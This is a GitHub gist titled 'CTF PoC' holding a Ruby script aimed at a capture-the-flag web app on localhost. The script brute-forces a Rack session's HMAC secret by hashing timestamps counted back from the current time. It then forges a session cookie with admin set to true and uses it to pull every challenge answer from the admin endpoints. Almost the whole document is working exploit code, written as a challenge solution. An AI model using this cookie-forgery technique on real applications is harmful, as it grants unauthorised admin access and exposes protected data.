Created
April 21, 2014 02:18
-
-
Save tylerjl/11130539 to your computer and use it in GitHub Desktop.
CTF PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'pp' | |
require 'faraday' | |
require 'base64' | |
require 'digest/sha1' | |
require 'nokogiri' | |
require 'json' | |
class HackingError < StandardError ; end | |
def uncookify cookie ; Marshal.load(Base64.decode64(CGI.unescape(cookie))) ; end | |
def recookify datum ; CGI.escape(Base64.encode64(Marshal.dump(datum))) ; end | |
def create_hmac message, key | |
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message)) | |
end | |
def brute_force message, hmac | |
seed = Time.now | |
while (hmac != create_hmac(message, Digest::SHA1.hexdigest(seed.to_s))) do | |
seed -= 1 | |
end | |
Digest::SHA1.hexdigest(seed.to_s) | |
end | |
begin | |
connection = Faraday.new(:url => 'http://localhost:4567') | |
response = connection.get '/' | |
raise HackingError, "unable to GET /" unless response.status == 200 | |
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--') | |
params_hash = uncookify(cookie) | |
# Brute force the key | |
# (risk of looping infinitely here if key is uncrackable; beware) | |
secret = brute_force(cookie, hmac) | |
puts "Found the key: #{secret}" | |
# Key obtained, now spoof session parameters | |
params_hash.merge!({ 'admin' => true }) | |
admin_hash_encoded = recookify(params_hash) | |
bad_hmac = create_hmac(admin_hash_encoded, secret) | |
bad_cookie = "rack.session=#{admin_hash_encoded}--#{bad_hmac};" | |
admin_page = connection.get do |request| | |
request.url '/admin/main' | |
request.headers['Cookie'] = bad_cookie | |
end | |
raise HackingError, "Key didn't work..." unless admin_page.status == 200 | |
admin_doc = Nokogiri::HTML(admin_page.body) | |
challenges = admin_doc.xpath('//div[@id="table"]//tr[position() > 1]/td[1]').map(&:text).map(&:to_i) | |
challenges.each do |challenge| | |
json = connection.post do |r| | |
r.url '/admin/load' | |
r.params['id'] = challenge | |
r.headers['Cookie'] = bad_cookie | |
end | |
answer = JSON.parse(json.body) | |
puts "Challenge #{challenge} answer: #{answer['answer']}" | |
end | |
puts "Finished." | |
rescue HackingError => e | |
puts "Error: #{e}." | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment